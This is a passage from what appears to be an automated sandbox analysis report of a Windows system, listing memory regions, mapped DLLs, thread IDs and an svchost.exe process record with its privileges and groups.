end_va = 0x6d3fefff monitored = 0 entry_point = 0x6d3d46c0 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 1137 start_va = 0x250000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 1138 start_va = 0x42b0000 end_va = 0x42effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042b0000" filename = "" Region: id = 1139 start_va = 0x6c870000 end_va = 0x6c9aefff monitored = 0 entry_point = 0x6c89d880 region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 1140 start_va = 0x6c850000 end_va = 0x6c86bfff monitored = 0 entry_point = 0x6c854720 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 1141 start_va = 0x42f0000 end_va = 0x432ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042f0000" filename = "" Region: id = 1142 start_va = 0x4330000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004330000" filename = "" Region: id = 1143 start_va = 0x6d3b0000 end_va = 0x6d3b9fff monitored = 0 entry_point = 0x6d3b28d0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 1144 start_va = 0x4600000 end_va = 0x47bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004600000" filename = "" Region: id = 1145 start_va = 0x4370000 end_va = 0x4399fff monitored = 0 entry_point = 0x4375680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1146 start_va = 0x4600000 end_va = 0x4787fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004600000" filename = "" Region: id = 1147 start_va = 0x47b0000 end_va = 0x47bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000047b0000" filename = "" Region: id = 1148 start_va = 0x75e50000 end_va = 0x75e7afff monitored = 0 entry_point = 0x75e55680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1149 start_va = 0x4a60000 end_va = 0x4be0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004a60000" filename = "" Region: id = 1150 start_va = 0x4bf0000 end_va = 0x5feffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004bf0000" filename = "" Region: id = 1151 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1152 start_va = 0x4370000 end_va = 0x4370fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004370000" filename = "" Region: id = 1153 start_va = 0x4380000 end_va = 0x4384fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 1154 start_va = 0x4390000 end_va = 0x4390fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004390000" filename = "" Region: id = 1155 start_va = 0x43a0000 end_va = 0x43a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043a0000" filename = "" Region: id = 1156 start_va = 0x5ff0000 end_va = 0x6326fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1157 start_va = 0x47e0000 end_va = 0x48c9fff monitored = 0 entry_point = 0x481d650 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1158 start_va = 0x4960000 end_va = 0x4a5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004960000" filename = "" Region: id = 1159 start_va = 0x43b0000 end_va = 0x43b3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043b0000" filename = "" Region: id = 1160 start_va = 0x47e0000 end_va = 0x48bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 1161 start_va = 0x757e0000 end_va = 0x757ebfff monitored = 0 entry_point = 0x757e3930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 1162 start_va = 0x43c0000 end_va = 0x43c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000043c0000" filename = "" Region: id = 1163 start_va = 0x75860000 end_va = 0x758e3fff monitored = 0 entry_point = 0x75886220 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 1164 start_va = 0x43d0000 end_va = 0x43d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000043d0000" filename = "" Region: id = 1165 start_va = 0x6c840000 end_va = 0x6c84cfff monitored = 0 entry_point = 0x6c843520 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 1166 start_va = 0x6c7d0000 end_va = 0x6c836fff monitored = 0 entry_point = 0x6c7eb610 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 1167 start_va = 0x742c0000 end_va = 0x742dafff monitored = 0 entry_point = 0x742c9050 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 1168 start_va = 0x6c780000 end_va = 0x6c7c3fff monitored = 0 entry_point = 0x6c79aaf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 1169 start_va = 0x48c0000 end_va = 0x48fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000048c0000" filename = "" Region: id = 1170 start_va = 0x4900000 end_va = 0x493ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004900000" filename = "" Region: id = 1171 start_va = 0x6330000 end_va = 0x636ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006330000" filename = "" Region: id = 1172 start_va = 0x6370000 end_va = 0x63affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006370000" filename = "" Region: id = 1173 start_va = 0x63b0000 end_va = 0x63effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000063b0000" filename = "" Region: id = 1174 start_va = 0x63f0000 end_va = 0x642ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000063f0000" filename = "" Region: id = 1175 start_va = 0x6c760000 end_va = 0x6c770fff monitored = 0 entry_point = 0x6c768fa0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 1558 start_va = 0x6c6a0000 end_va = 0x6c75efff monitored = 0 entry_point = 0x6c6d1e80 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 1563 start_va = 0x43e0000 end_va = 0x43e5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000043e0000" filename = "" Thread: id = 26 os_tid = 0x7b0 Thread: id = 27 os_tid = 0x14c Thread: id = 28 os_tid = 0x2a8 Thread: id = 29 os_tid = 0xc80 Thread: id = 30 os_tid = 0x11b4 Thread: id = 31 os_tid = 0x11b8 Thread: id = 32 os_tid = 0x9f4 Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x7369f000" os_pid = "0x60" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x218" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DcpSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\RetailDemo" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cdd2" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1176 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1177 start_va = 0x20000 end_va = 0x21fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1178 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1179 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1180 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 1181 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1182 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1183 start_va = 0x100000 end_va = 0x1bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1184 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 1185 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1186 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1187 start_va = 0x1f0000 end_va = 0x1f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 1188 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1189 start_va = 0x400000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1190 start_va = 0x500000 end_va = 0x500fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netmsg.dll" filename = "\\Windows\\System32\\netmsg.dll" (normalized: "c:\\windows\\system32\\netmsg.dll") Region: id = 1191 start_va = 0x510000 end_va = 0x510fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 1192 start_va = 0x520000 end_va = 0x520fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 1193 start_va = 0x530000 end_va = 0x531fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dosvc.dll.mui" filename = "\\Windows\\System32\\en-US\\dosvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dosvc.dll.mui") Region: id = 1194 start_va = 0x540000 end_va = 0x541fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1195 start_va = 0x550000 end_va = 0x551fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 1196 start_va = 0x560000 end_va = 0x560fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usocore.dll.mui" filename = "\\Windows\\System32\\en-US\\usocore.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\usocore.dll.mui") Region: id = 1197 start_va = 0x570000 end_va = 0x576fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 1198 start_va = 0x580000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 1199 start_va = 0x640000 end_va = 0x640fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 1200 start_va = 0x650000 end_va = 0x650fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 1201 start_va = 0x660000 end_va = 0x666fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 1202 start_va = 0x670000 end_va = 0x670fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 1203 start_va = 0x680000 end_va = 0x680fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 1204 start_va = 0x6a0000 end_va = 0x6a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 1205 start_va = 0x6b0000 end_va = 0x6b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 1206 start_va = 0x6c0000 end_va = 0x6c3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1207 start_va = 0x6d0000 end_va = 0x6d3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1208 start_va = 0x6e0000 end_va = 0x6e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 1209 start_va = 0x6f0000 end_va = 0x6f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 1210 start_va = 0x700000 end_va = 0x706fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 1211 start_va = 0x710000 end_va = 0x78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 1212 start_va = 0x790000 end_va = 0x796fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 1213 start_va = 0x7a0000 end_va = 0x7a6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "newdev.dll.mui" filename = "\\Windows\\System32\\en-US\\newdev.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\newdev.dll.mui") Region: id = 1214 start_va = 0x7b0000 end_va = 0x7c7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 1215 start_va = 0x7d0000 end_va = 0x7d6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 1216 start_va = 0x7e0000 end_va = 0x7e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 1217 start_va = 0x800000 end_va = 0x8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 1218 start_va = 0x900000 end_va = 0xa87fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000900000" filename = "" Region: id = 1219 start_va = 0xa90000 end_va = 0xc10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a90000" filename = "" Region: id = 1220 start_va = 0xc20000 end_va = 0x101afff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c20000" filename = "" Region: id = 1221 start_va = 0x1020000 end_va = 0x109ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001020000" filename = "" Region: id = 1222 start_va = 0x10a0000 end_va = 0x10e4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000005.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db") Region: id = 1223 start_va = 0x1100000 end_va = 0x11fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001100000" filename = "" Region: id = 1224 start_va = 0x1200000 end_va = 0x12fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001200000" filename = "" Region: id = 1225 start_va = 0x1300000 end_va = 0x13fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001300000" filename = "" Region: id = 1226 start_va = 0x1400000 end_va = 0x14fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001400000" filename = "" Region: id = 1227 start_va = 0x1500000 end_va = 0x15fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001500000" filename = "" Region: id = 1228 start_va = 0x1600000 end_va = 0x16fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001600000" filename = "" Region: id = 1229 start_va = 0x1780000 end_va = 0x17c2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001780000" filename = "" Region: id = 1230 start_va = 0x17e0000 end_va = 0x17e6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017e0000" filename = "" Region: id = 1231 start_va = 0x1800000 end_va = 0x18fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001800000" filename = "" Region: id = 1232 start_va = 0x1900000 end_va = 0x19fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001900000" filename = "" Region: id = 1233 start_va = 0x1a00000 end_va = 0x1d36fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1234 start_va = 0x1d40000 end_va = 0x1e3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d40000" filename = "" Region: id = 1235 start_va = 0x1e40000 end_va = 0x1f1ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1236 start_va = 0x1f40000 end_va = 0x203ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f40000" filename = "" Region: id = 1237 start_va = 0x2040000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 1238 start_va = 0x2140000 end_va = 0x21bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 1239 start_va = 0x2200000 end_va = 0x22fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 1240 start_va = 0x2300000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 1241 start_va = 0x2400000 end_va = 0x24fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 1242 start_va = 0x2500000 end_va = 0x25fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002500000" filename = "" Region: id = 1243 start_va = 0x2600000 end_va = 0x267ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 1244 start_va = 0x2680000 end_va = 0x277ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002680000" filename = "" Region: id = 1245 start_va = 0x2780000 end_va = 0x287ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002780000" filename = "" Region: id = 1246 start_va = 0x2880000 end_va = 0x28fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 1247 start_va = 0x2900000 end_va = 0x29fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 1248 start_va = 0x2a00000 end_va = 0x2afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 1249 start_va = 0x2b00000 end_va = 0x2b8dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 1250 start_va = 0x2c00000 end_va = 0x2cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c00000" filename = "" Region: id = 1251 start_va = 0x2d00000 end_va = 0x2d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d00000" filename = "" Region: id = 1252 start_va = 0x2d80000 end_va = 0x2dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d80000" filename = "" Region: id = 1253 start_va = 0x2e00000 end_va = 0x2efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e00000" filename = "" Region: id = 1254 start_va = 0x2f00000 end_va = 0x2ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f00000" filename = "" Region: id = 1255 start_va = 0x3000000 end_va = 0x30fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1256 start_va = 0x3100000 end_va = 0x31fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003100000" filename = "" Region: id = 1257 start_va = 0x3200000 end_va = 0x32fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003200000" filename = "" Region: id = 1258 start_va = 0x3300000 end_va = 0x33fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003300000" filename = "" Region: id = 1259 start_va = 0x3400000 end_va = 0x347ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003400000" filename = "" Region: id = 1260 start_va = 0x34b0000 end_va = 0x34b6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000034b0000" filename = "" Region: id = 1261 start_va = 0x34c0000 end_va = 0x35bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000034c0000" filename = "" Region: id = 1262 start_va = 0x35c0000 end_va = 0x36bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000035c0000" filename = "" Region: id = 1263 start_va = 0x3700000 end_va = 0x37fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003700000" filename = "" Region: id = 1264 start_va = 0x3800000 end_va = 0x38fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003800000" filename = "" Region: id = 1265 start_va = 0x3900000 end_va = 0x39fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003900000" filename = "" Region: id = 1266 start_va = 0x3a00000 end_va = 0x3afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a00000" filename = "" Region: id = 1267 start_va = 0x3b00000 end_va = 0x3bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b00000" filename = "" Region: id = 1268 start_va = 0x3c00000 end_va = 0x3c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c00000" filename = "" Region: id = 1269 start_va = 0x3cb0000 end_va = 0x3cb6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003cb0000" filename = "" Region: id = 1270 start_va = 0x3d00000 end_va = 0x3dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003d00000" filename = "" Region: id = 1271 start_va = 0x3e00000 end_va = 0x3efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e00000" filename = "" Region: id = 1272 start_va = 0x3f00000 end_va = 0x3ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f00000" filename = "" Region: id = 1273 start_va = 0x4000000 end_va = 0x407ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004000000" filename = "" Region: id = 1274 start_va = 0x4080000 end_va = 0x40fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004080000" filename = "" Region: id = 1275 start_va = 0x4100000 end_va = 0x41fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004100000" filename = "" Region: id = 1276 start_va = 0x4200000 end_va = 0x42fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004200000" filename = "" Region: id = 1277 start_va = 0x4300000 end_va = 0x43fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004300000" filename = "" Region: id = 1278 start_va = 0x4400000 end_va = 0x44fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004400000" filename = "" Region: id = 1279 start_va = 0x4500000 end_va = 0x45fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004500000" filename = "" Region: id = 1280 start_va = 0x4600000 end_va = 0x46fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004600000" filename = "" Region: id = 1281 start_va = 0x4700000 end_va = 0x47fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004700000" filename = "" Region: id = 1282 start_va = 0x4800000 end_va = 0x487ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004800000" filename = "" Region: id = 1283 start_va = 0x48d0000 end_va = 0x48d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "activeds.dll.mui" filename = "\\Windows\\System32\\en-US\\activeds.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\activeds.dll.mui") Region: id = 1284 start_va = 0x48e0000 end_va = 0x48e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000048e0000" filename = "" Region: id = 1285 start_va = 0x48f0000 end_va = 0x49effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000048f0000" filename = "" Region: id = 1286 start_va = 0x49f0000 end_va = 0x49f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml6r.dll" filename = "\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll") Region: id = 1287 start_va = 0x4a00000 end_va = 0x4afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a00000" filename = "" Region: id = 1288 start_va = 0x4bd0000 end_va = 0x4bd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004bd0000" filename = "" Region: id = 1289 start_va = 0x4c00000 end_va = 0x4cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c00000" filename = "" Region: id = 1290 start_va = 0x4e00000 end_va = 